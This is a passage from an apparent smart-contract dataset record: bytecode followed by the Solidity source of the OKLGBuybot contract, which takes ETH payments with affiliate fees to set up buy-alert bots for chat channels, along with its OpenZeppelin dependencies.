073a818560208601610a0f565b61074381610a47565b840191505092915050565b600061075b603283610980565b915061076682610a58565b604082019050919050565b600061077e602683610980565b915061078982610aa7565b604082019050919050565b60006107a1601d83610980565b91506107ac82610af6565b602082019050919050565b60006107c4602a83610980565b91506107cf82610b1f565b604082019050919050565b60006107e7602383610980565b91506107f282610b6e565b604082019050919050565b610806816109cf565b82525050565b600061081882846106d5565b915081905092915050565b600060208201905061083860008301846106c6565b92915050565b600060408201905061085360008301856106c6565b61086060208301846107fd565b9392505050565b600060208201905061087c6000830184610706565b92915050565b6000602082019050818103600083015261089c8184610715565b905092915050565b600060208201905081810360008301526108bd8161074e565b9050919050565b600060208201905081810360008301526108dd81610771565b9050919050565b600060208201905081810360008301526108fd81610794565b9050919050565b6000602082019050818103600083015261091d816107b7565b9050919050565b6000602082019050818103600083015261093d816107da565b9050919050565b600060208201905061095960008301846107fd565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061099c826109af565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109e4826109eb565b9050919050565b60006109f6826109fd565b9050919050565b6000610a08826109af565b9050919050565b60005b83811015610a2d578082015181840152602081019050610a12565b83811115610a3c576000848401525b50505050565b600080fd5b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610bc6816109a3565b8114610bd157600080fd5b50565b610bdd816109cf565b8114610be857600080fd5b5056fea2646970667358221220e8e7fb30015a0e410e32480de03349c64a9577273bc054a1bf490627852c998264736f6c63430008070033
[ 38 ]
0xF25B1e14F81BAcAc811A0e8F49cD8994AFC81012
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import '@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol'; import './OKLGAffiliate.sol'; /** * @title OKLGBuybot * @dev Logic for spending OKLG on products in the product ecosystem. */ contract OKLGBuybot is OKLGAffiliate { AggregatorV3Interface internal priceFeed; uint256 public totalSpentWei = 0; uint256 public paidPricePerDayUsd = 15; mapping(address => uint256) public overridePricePerDayUSD; mapping(address => bool) public removeCost; event SetupBot( address indexed user, address token, string client, string channel, uint256 expiration ); event SetupBotAdmin( address indexed user, address token, string client, string channel, uint256 expiration ); event DeleteBot( address indexed user, address token, string client, string channel ); struct Buybot { address token; string client; // telegram, discord, etc. string channel; bool isPaid; uint256 minThresholdUsd; // lpPairAltToken?: string; // if blank, assume the other token in the pair is native (ETH, BNB, etc.) uint256 expiration; // unix timestamp of expiration, or 0 if no expiration } mapping(bytes32 => Buybot) public buybotConfigs; bytes32[] public buybotConfigsList; constructor(address _linkPriceFeedContract) { // https://docs.chain.link/docs/reference-contracts/ // https://github.com/pcaversaccio/chainlink-price-feed/blob/main/README.md priceFeed = AggregatorV3Interface(_linkPriceFeedContract); } function getAllBuybotIds() external view returns (bytes32[] memory) { return buybotConfigsList; } /** * Returns the latest ETH/USD price with returned value at 18 decimals * https://docs.chain.link/docs/get-the-latest-price/ */ function getLatestETHPrice() public view returns (uint256) { uint8 decimals = priceFeed.decimals(); (, int256 price, , , ) = priceFeed.latestRoundData(); return uint256(price) * (10**18 / 10**decimals); } function setPriceFeed(address _feedContract) external onlyOwner { priceFeed = AggregatorV3Interface(_feedContract); } function setOverridePricePerDayUSD(address _wallet, uint256 _priceUSD) external onlyOwner { overridePricePerDayUSD[_wallet] = _priceUSD; } function setOverridePricesPerDayUSDBulk( address[] memory _contracts, uint256[] memory _pricesUSD ) external onlyOwner { require( _contracts.length == _pricesUSD.length, 'arrays need to be the same length' ); for (uint256 _i = 0; _i < _contracts.length; _i++) { overridePricePerDayUSD[_contracts[_i]] = _pricesUSD[_i]; } } function setRemoveCost(address _wallet, bool _isRemoved) external onlyOwner { removeCost[_wallet] = _isRemoved; } function getId( address _token, string memory _client, string memory _channel ) public pure returns (bytes32) { return sha256(abi.encodePacked(_token, _client, _channel)); } function setupBot( address _token, string memory _client, string memory _channel, bool _isPaid, uint256 _minThresholdUsd, address _referrer ) external payable { require( !_isPaid || removeCost[msg.sender] || msg.value > 0, 'must send some ETH to pay for bot' ); uint256 _costPerDayUSD = overridePricePerDayUSD[msg.sender] > 0 ? overridePricePerDayUSD[msg.sender] : paidPricePerDayUsd; if (_isPaid && !removeCost[msg.sender]) { pay(msg.sender, _referrer, msg.value); totalSpentWei += msg.value; } else { _costPerDayUSD = 0; } uint256 _daysOfService18 = 180 * 10**18; if (_costPerDayUSD > 0) { uint256 _ethPriceUSD18 = getLatestETHPrice(); _daysOfService18 = (msg.value * _ethPriceUSD18) / 10**18 / _costPerDayUSD; } uint256 _secondsOfService = (_daysOfService18 * 24 * 60 * 60) / 10**18; bytes32 _id = getId(_token, _client, _channel); Buybot storage _bot = buybotConfigs[_id]; if (_bot.expiration == 0) { buybotConfigsList.push(_id); } uint256 _start = _bot.expiration < block.timestamp ? block.timestamp : _bot.expiration; _bot.token = _token; _bot.isPaid = _isPaid; _bot.client = _client; _bot.channel = _channel; _bot.minThresholdUsd = _minThresholdUsd; _bot.expiration = _start + _secondsOfService; emit SetupBot(msg.sender, _token, _client, _channel, _bot.expiration); } function setupBotAdmin( address _token, string memory _client, string memory _channel, bool _isPaid, uint256 _minThresholdUsd, uint256 _expiration ) external onlyOwner { bytes32 _id = getId(_token, _client, _channel); Buybot storage _bot = buybotConfigs[_id]; if (_bot.expiration == 0) { buybotConfigsList.push(_id); } _bot.token = _token; _bot.isPaid = _isPaid; _bot.client = _client; _bot.channel = _channel; _bot.minThresholdUsd = _minThresholdUsd; _bot.expiration = _expiration; emit SetupBotAdmin(msg.sender, _token, _client, _channel, _bot.expiration); } function deleteBot( address _token, string memory _client, string memory _channel ) external onlyOwner { bytes32 _id = getId(_token, _client, _channel); delete buybotConfigs[_id]; for (uint256 _i = 0; _i < buybotConfigsList.length; _i++) { if (buybotConfigsList[_i] == _id) { buybotConfigsList[_i] = buybotConfigsList[buybotConfigsList.length - 1]; buybotConfigsList.pop(); } } emit DeleteBot(msg.sender, _token, _client, _channel); } function setPricePerDayUsd(uint256 _price) external onlyOwner { paidPricePerDayUsd = _price; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import './OKLGWithdrawable.sol'; /** * @title OKLGAffiliate * @dev Support affiliate logic */ contract OKLGAffiliate is OKLGWithdrawable { modifier onlyAffiliateOrOwner() { require( msg.sender == owner() || affiliates[msg.sender].feePercent > 0, 'caller must be affiliate or owner' ); _; } struct Affiliate { uint256 feePercent; uint256 revenue; } uint16 public defaultAffiliateDiscount = 1000; // 10% uint16 public constant PERCENT_DENOMENATOR = 10000; address public paymentWallet = 0x0000000000000000000000000000000000000000; mapping(address => Affiliate) public affiliates; // value is percentage of fees for affiliate (denomenator of 10000) address[] public affiliateList; mapping(address => uint256) public overrideDiscounts; // value is percentage off for customer (denomenator of 10000) event AddAffiliate(address indexed wallet, uint256 percent); event RemoveAffiliate(address indexed wallet); event AddDiscount(address indexed wallet, uint256 percent); event RemoveDiscount(address indexed wallet); event Pay(address indexed payee, uint256 amount); function getAllAffiliates() external view returns (address[] memory) { return affiliateList; } function pay( address _caller, address _referrer, uint256 _basePrice ) internal { uint256 balanceBefore = address(this).balance - msg.value; uint256 price = getFinalPrice(_caller, _referrer, _basePrice); require(msg.value >= price, 'not enough ETH to pay'); // affiliate fee if applicable if (affiliates[_referrer].feePercent > 0) { uint256 referrerFee = (price * affiliates[_referrer].feePercent) / PERCENT_DENOMENATOR; (bool sent, ) = payable(_referrer).call{ value: referrerFee }(''); require(sent, 'affiliate payment did not go through'); affiliates[_referrer].revenue += price; price -= referrerFee; } // if affiliate does not take everything, send normal payment if (price > 0) { address wallet = paymentWallet == address(0) ? owner() : paymentWallet; (bool sent, ) = payable(wallet).call{ value: price }(''); require(sent, 'main payment did not go through'); } require( address(this).balance >= balanceBefore, 'cannot take from contract what you did not send' ); emit Pay(msg.sender, _basePrice); } function getFinalPrice( address _caller, address _referrer, uint256 _basePrice ) public view returns (uint256) { if (overrideDiscounts[_caller] > 0) { return _basePrice - ((_basePrice * overrideDiscounts[_caller]) / PERCENT_DENOMENATOR); } else if (affiliates[_referrer].feePercent > 0) { return _basePrice - ((_basePrice * defaultAffiliateDiscount) / PERCENT_DENOMENATOR); } return _basePrice; } function overrideDiscount(address _wallet, uint256 _percent) external onlyAffiliateOrOwner { require( msg.sender == owner() || _percent <= PERCENT_DENOMENATOR / 2, // max 50% off 'cannot have more than 50% discount' ); overrideDiscounts[_wallet] = _percent; emit AddDiscount(_wallet, _percent); } function removeDiscount(address _wallet) external onlyAffiliateOrOwner { require(overrideDiscounts[_wallet] > 0, 'affiliate must exist'); delete overrideDiscounts[_wallet]; emit RemoveDiscount(_wallet); } function addAffiliate(address _wallet, uint256 _percent) public onlyOwner { require( _percent <= PERCENT_DENOMENATOR, 'cannot have more than 100% referral fee' ); if (affiliates[_wallet].feePercent == 0) { affiliateList.push(_wallet); } affiliates[_wallet].feePercent = _percent; emit AddAffiliate(_wallet, _percent); } function addAffiliatesBulk( address[] memory _wallets, uint256[] memory _percents ) external onlyOwner { require(_wallets.length == _percents.length, 'must be same length'); for (uint256 i = 0; i < _wallets.length; i++) { addAffiliate(_wallets[i], _percents[i]); } } function removeAffiliate(address _wallet) external onlyOwner { require(affiliates[_wallet].feePercent > 0, 'affiliate must exist'); for (uint256 i = 0; i < affiliateList.length; i++) { if (affiliateList[i] == _wallet) { affiliateList[i] = affiliateList[affiliateList.length - 1]; affiliateList.pop(); break; } } affiliates[_wallet].feePercent = 0; emit RemoveAffiliate(_wallet); } function setDefaultAffiliateDiscount(uint16 _discount) external onlyOwner { require(_discount < PERCENT_DENOMENATOR, 'cannot be more than 100%'); defaultAffiliateDiscount = _discount; } function setPaymentWallet(address _wallet) external onlyOwner { paymentWallet = _wallet; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/interfaces/IERC20.sol'; /** * @title OKLGWithdrawable * @dev Supports being able to get tokens or ETH out of a contract with ease */ contract OKLGWithdrawable is Ownable { function withdrawTokens(address _tokenAddy, uint256 _amount) external onlyOwner { IERC20 _token = IERC20(_tokenAddy); _amount = _amount > 0 ? _amount : _token.balanceOf(address(this)); require(_amount > 0, 'make sure there is a balance available to withdraw'); _token.transfer(owner(), _amount); } function withdrawETH() external onlyOwner { payable(owner()).call{ value: address(this).balance }(''); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; import "../token/ERC20/IERC20.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x60806040526004361061021a5760003560e01c8063722c785b11610123578063c3775ec9116100ab578063efe01c6c1161006f578063efe01c6c14610696578063f2fde38b146106b6578063f39e6400146106d6578063fd6cb613146106ec578063fde1276a1461070c57600080fd5b8063c3775ec9146105f4578063cba6749014610621578063e086e5ec14610641578063e256c66114610656578063e32204dd1461067657600080fd5b80638da5cb5b116100f25780638da5cb5b1461050f578063a666a18e1461052d578063ad32e0781461056d578063b774dee61461059f578063bfc3af3d146105bf57600080fd5b8063722c785b146104a4578063724e78da146104ba578063777e0d86146104da5780637a5dd1ea146104ef57600080fd5b80634f51e294116101a6578063565bae8d11610175578063565bae8d1461040f5780635757e6a41461042f5780636d2b56dc1461044f578063712715911461046f578063715018a61461048f57600080fd5b80634f51e294146103645780634f8d0d97146103ad5780635009859c146103cd57806352444d0a146103ef57600080fd5b80630b7c673f116101ed5780630b7c673f146102bf5780632dbd2971146102df57806336bf7719146102f55780633b9ff843146103175780633e4ca8061461033757600080fd5b80630131b8371461021f578063018c7caf1461023457806303787ce51461026757806306b091f91461029f575b600080fd5b61023261022d366004612468565b61072c565b005b34801561024057600080fd5b5061025461024f366004612386565b6109ec565b6040519081526020015b60405180910390f35b34801561027357600080fd5b506102876102823660046126a1565b610a90565b6040516001600160a01b03909116815260200161025e565b3480156102ab57600080fd5b506102326102ba36600461259b565b610aba565b3480156102cb57600080fd5b506102326102da3660046125c4565b610c7c565b3480156102eb57600080fd5b5061025460075481565b34801561030157600080fd5b5061030a610d9d565b60405161025e9190612923565b34801561032357600080fd5b5061023261033236600461236c565b610df5565b34801561034357600080fd5b5061025461035236600461236c565b60086020526000908152604090205481565b34801561037057600080fd5b5061039861037f36600461236c565b6002602052600090815260409020805460019091015482565b6040805192835260208301919091520161025e565b3480156103b957600080fd5b506102326103c836600461259b565b611001565b3480156103d957600080fd5b506103e2611047565b60405161025e91906128d6565b3480156103fb57600080fd5b5061023261040a3660046123c1565b6110a8565b34801561041b57600080fd5b5061023261042a36600461259b565b6110fd565b34801561043b57600080fd5b5061023261044a3660046126d1565b61124b565b34801561045b57600080fd5b5061023261046a3660046126a1565b6112ec565b34801561047b57600080fd5b5061023261048a3660046125c4565b61131b565b34801561049b57600080fd5b50610232611402565b3480156104b057600080fd5b5061025460065481565b3480156104c657600080fd5b506102326104d536600461236c565b611438565b3480156104e657600080fd5b50610254611484565b3480156104fb57600080fd5b5061023261050a3660046123f7565b6115cd565b34801561051b57600080fd5b506000546001600160a01b0316610287565b34801561053957600080fd5b5061055d61054836600461236c565b60096020526000908152604090205460ff1681565b604051901515815260200161025e565b34801561057957600080fd5b5061058d6105883660046126a1565b611794565b60405161025e96959493929190612839565b3480156105ab57600080fd5b506102546105ba3660046126a1565b6118e9565b3480156105cb57600080fd5b506000546105e190600160a01b900461ffff1681565b60405161ffff909116815260200161025e565b34801561060057600080fd5b5061025461060f36600461236c565b60046020526000908152604090205481565b34801561062d57600080fd5b5061025461063c3660046123f7565b61190a565b34801561064d57600080fd5b50610232611985565b34801561066257600080fd5b5061023261067136600461259b565b611a05565b34801561068257600080fd5b50600154610287906001600160a01b031681565b3480156106a257600080fd5b506102326106b1366004612505565b611b15565b3480156106c257600080fd5b506102326106d136600461236c565b611c4a565b3480156106e257600080fd5b506105e161271081565b3480156106f857600080fd5b5061023261070736600461236c565b611ce5565b34801561071857600080fd5b5061023261072736600461236c565b611d31565b82158061074857503360009081526009602052604090205460ff165b806107535750600034115b6107ae5760405162461bcd60e51b815260206004820152602160248201527f6d7573742073656e6420736f6d652045544820746f2070617920666f7220626f6044820152601d60fa1b60648201526084015b60405180910390fd5b336000908152600860205260408120546107ca576007546107db565b336000908152600860205260409020545b90508380156107fa57503360009081526009602052604090205460ff16155b156108275761080a338334611e14565b346006600082825461081c9190612a26565b9091555061082b9050565b5060005b6809c2007651b25000008115610873576000610845611484565b905082670de0b6b3a764000061085b8334612b63565b6108659190612a5f565b61086f9190612a5f565b9150505b6000670de0b6b3a7640000610889836018612b63565b61089490603c612b63565b61089f90603c612b63565b6108a99190612a5f565b905060006108b88a8a8a61190a565b6000818152600a6020526040902060058101549192509061090957600b80546001810182556000919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9018290555b600042826005015410610920578160050154610922565b425b82546001600160a01b0319166001600160a01b038e1617835560038301805460ff19168b15151790558b5190915061096390600184019060208e019061218d565b50895161097990600284019060208d019061218d565b506004820188905561098b8482612a26565b8260050181905550336001600160a01b03167f8188fba0290966e1dcfba4c1218cb4b9f4a0437d4bfa7441ac7db7545ef06c2c8d8d8d86600501546040516109d6949392919061288e565b60405180910390a2505050505050505050505050565b6001600160a01b03831660009081526004602052604081205415610a4c576001600160a01b03841660009081526004602052604090205461271090610a319084612b63565b610a3b9190612a5f565b610a459083612b82565b9050610a89565b6001600160a01b03831660009081526002602052604090205415610a865760005461271090610a3190600160a01b900461ffff1684612b63565b50805b9392505050565b60038181548110610aa057600080fd5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b03163314610ae45760405162461bcd60e51b81526004016107a59061299c565b8181610b66576040516370a0823160e01b81523060048201526001600160a01b038216906370a082319060240160206040518083038186803b158015610b2957600080fd5b505afa158015610b3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6191906126b9565b610b68565b815b915060008211610bd55760405162461bcd60e51b815260206004820152603260248201527f6d616b65207375726520746865726520697320612062616c616e636520617661604482015271696c61626c6520746f20776974686472617760701b60648201526084016107a5565b806001600160a01b031663a9059cbb610bf66000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101859052604401602060405180830381600087803b158015610c3e57600080fd5b505af1158015610c52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c769190612685565b50505050565b6000546001600160a01b03163314610ca65760405162461bcd60e51b81526004016107a59061299c565b8051825114610d015760405162461bcd60e51b815260206004820152602160248201527f617272617973206e65656420746f206265207468652073616d65206c656e67746044820152600d60fb1b60648201526084016107a5565b60005b8251811015610d9857818181518110610d2d57634e487b7160e01b600052603260045260246000fd5b602002602001015160086000858481518110610d5957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508080610d9090612c00565b915050610d04565b505050565b6060600b805480602002602001604051908101604052809291908181526020018280548015610deb57602002820191906000526020600020905b815481526020019060010190808311610dd7575b5050505050905090565b6000546001600160a01b03163314610e1f5760405162461bcd60e51b81526004016107a59061299c565b6001600160a01b038116600090815260026020526040902054610e7b5760405162461bcd60e51b81526020600482015260146024820152731859999a5b1a585d19481b5d5cdd08195e1a5cdd60621b60448201526064016107a5565b60005b600354811015610fbc57816001600160a01b031660038281548110610eb357634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610faa5760038054610ede90600190612b82565b81548110610efc57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600380546001600160a01b039092169183908110610f3657634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506003805480610f8357634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610fbc565b80610fb481612c00565b915050610e7e565b506001600160a01b038116600081815260026020526040808220829055517f1237d253e4539d90399ed5c12d86ee9e1cfcd4bbfced41174a7c8804453a410b9190a250565b6000546001600160a01b0316331461102b5760405162461bcd60e51b81526004016107a59061299c565b6001600160a01b03909116600090815260086020526040902055565b60606003805480602002602001604051908101604052809291908181526020018280548015610deb57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611081575050505050905090565b6000546001600160a01b031633146110d25760405162461bcd60e51b81526004016107a59061299c565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146111275760405162461bcd60e51b81526004016107a59061299c565b6127108111156111895760405162461bcd60e51b815260206004820152602760248201527f63616e6e6f742068617665206d6f7265207468616e203130302520726566657260448201526672616c2066656560c81b60648201526084016107a5565b6001600160a01b0382166000908152600260205260409020546111f257600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b0384161790555b6001600160a01b03821660008181526002602052604090819020839055517fc9001e68cd5fd20434075ede54997db51c1119f7e32936d983e24535e5997d439061123f9084815260200190565b60405180910390a25050565b6000546001600160a01b031633146112755760405162461bcd60e51b81526004016107a59061299c565b61271061ffff8216106112ca5760405162461bcd60e51b815260206004820152601860248201527f63616e6e6f74206265206d6f7265207468616e2031303025000000000000000060448201526064016107a5565b6000805461ffff909216600160a01b0261ffff60a01b19909216919091179055565b6000546001600160a01b031633146113165760405162461bcd60e51b81526004016107a59061299c565b600755565b6000546001600160a01b031633146113455760405162461bcd60e51b81526004016107a59061299c565b805182511461138c5760405162461bcd60e51b81526020600482015260136024820152720daeae6e840c4ca40e6c2daca40d8cadccee8d606b1b60448201526064016107a5565b60005b8251811015610d98576113f08382815181106113bb57634e487b7160e01b600052603260045260246000fd5b60200260200101518383815181106113e357634e487b7160e01b600052603260045260246000fd5b60200260200101516110fd565b806113fa81612c00565b91505061138f565b6000546001600160a01b0316331461142c5760405162461bcd60e51b81526004016107a59061299c565b611436600061213d565b565b6000546001600160a01b031633146114625760405162461bcd60e51b81526004016107a59061299c565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600080600560009054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156114d557600080fd5b505afa1580156114e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150d9190612742565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561155f57600080fd5b505afa158015611573573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159791906126f3565b50505091505081600a6115aa9190612ab6565b6115bc90670de0b6b3a7640000612a5f565b6115c69082612b63565b9250505090565b6000546001600160a01b031633146115f75760405162461bcd60e51b81526004016107a59061299c565b600061160484848461190a565b6000818152600a6020526040812080546001600160a01b03191681559192506116306001830182612211565b61163e600283016000612211565b5060038101805460ff1916905560006004820181905560059091018190555b600b548110156117485781600b828154811061168957634e487b7160e01b600052603260045260246000fd5b9060005260206000200154141561173657600b80546116aa90600190612b82565b815481106116c857634e487b7160e01b600052603260045260246000fd5b9060005260206000200154600b82815481106116f457634e487b7160e01b600052603260045260246000fd5b600091825260209091200155600b80548061171f57634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590555b8061174081612c00565b91505061165d565b50336001600160a01b03167ffd0a40e44e99427d658bd9c8c992708af6aee9993004049f32d7dd33ebfd93e0858585604051611786939291906127f9565b60405180910390a250505050565b600a60205260009081526040902080546001820180546001600160a01b0390921692916117c090612bc5565b80601f01602080910402602001604051908101604052809291908181526020018280546117ec90612bc5565b80156118395780601f1061180e57610100808354040283529160200191611839565b820191906000526020600020905b81548152906001019060200180831161181c57829003601f168201915b50505050509080600201805461184e90612bc5565b80601f016020809104026020016040519081016040528092919081815260200182805461187a90612bc5565b80156118c75780601f1061189c576101008083540402835291602001916118c7565b820191906000526020600020905b8154815290600101906020018083116118aa57829003601f168201915b5050505060038301546004840154600590940154929360ff9091169290915086565b600b81815481106118f957600080fd5b600091825260209091200154905081565b600060028484846040516020016119239392919061278f565b60408051601f198184030181529082905261193d916127dd565b602060405180830381855afa15801561195a573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061197d91906126b9565b949350505050565b6000546001600160a01b031633146119af5760405162461bcd60e51b81526004016107a59061299c565b6000546001600160a01b03166001600160a01b03164760405160006040518083038185875af1925050503d8060008114610d98576040519150601f19603f3d011682016040523d82523d6000602084013e505050565b6000546001600160a01b0316331480611a2c57503360009081526002602052604090205415155b611a485760405162461bcd60e51b81526004016107a59061295b565b6000546001600160a01b0316331480611a715750611a696002612710612a3e565b61ffff168111155b611ac85760405162461bcd60e51b815260206004820152602260248201527f63616e6e6f742068617665206d6f7265207468616e2035302520646973636f756044820152611b9d60f21b60648201526084016107a5565b6001600160a01b03821660008181526004602052604090819020839055517f8c1ffbed38966549f79bb868713341a2672a93102e95e7d79e83acbc793313939061123f9084815260200190565b6000546001600160a01b03163314611b3f5760405162461bcd60e51b81526004016107a59061299c565b6000611b4c87878761190a565b6000818152600a60205260409020600581015491925090611b9d57600b80546001810182556000919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9018290555b80546001600160a01b0319166001600160a01b03891617815560038101805460ff19168615151790558651611bdb90600183019060208a019061218d565b508551611bf1906002830190602089019061218d565b50600481018490556005810183905560405133907f86052193481fd8ea5362eeae1cbe36e820d718732ee6b7d588e62680570e2a7090611c38908b908b908b90899061288e565b60405180910390a25050505050505050565b6000546001600160a01b03163314611c745760405162461bcd60e51b81526004016107a59061299c565b6001600160a01b038116611cd95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107a5565b611ce28161213d565b50565b6000546001600160a01b03163314611d0f5760405162461bcd60e51b81526004016107a59061299c565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331480611d5857503360009081526002602052604090205415155b611d745760405162461bcd60e51b81526004016107a59061295b565b6001600160a01b038116600090815260046020526040902054611dd05760405162461bcd60e51b81526020600482015260146024820152731859999a5b1a585d19481b5d5cdd08195e1a5cdd60621b60448201526064016107a5565b6001600160a01b038116600081815260046020526040808220829055517f3adee13d28bd01abf8b904eb993d818644feab2cccfffdbfe6304fccfba7c1b09190a250565b6000611e203447612b82565b90506000611e2f8585856109ec565b905080341015611e795760405162461bcd60e51b81526020600482015260156024820152746e6f7420656e6f7567682045544820746f2070617960581b60448201526064016107a5565b6001600160a01b03841660009081526002602052604090205415611fb9576001600160a01b03841660009081526002602052604081205461271090611ebe9084612b63565b611ec89190612a5f565b90506000856001600160a01b03168260405160006040518083038185875af1925050503d8060008114611f17576040519150601f19603f3d011682016040523d82523d6000602084013e611f1c565b606091505b5050905080611f795760405162461bcd60e51b8152602060048201526024808201527f616666696c69617465207061796d656e7420646964206e6f7420676f207468726044820152630deeaced